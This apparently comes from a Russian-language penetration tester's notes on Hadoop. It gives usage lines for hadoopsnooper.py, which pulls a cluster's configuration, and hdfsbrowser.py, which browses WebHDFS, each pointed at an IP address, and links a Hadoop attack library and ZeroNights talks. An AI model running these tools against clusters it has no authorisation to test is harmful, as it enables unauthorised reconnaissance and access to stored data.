Скрипт для получения конфига hadoop

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020

hdfsbrowser.py

https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake

Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол

python hdfsbrowser.py 10.10.10.10

Ссылки

Видео

Статьи

Презентации

https://2015.zeronights.org/assets/files/03-Kaluzny.pdf

https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf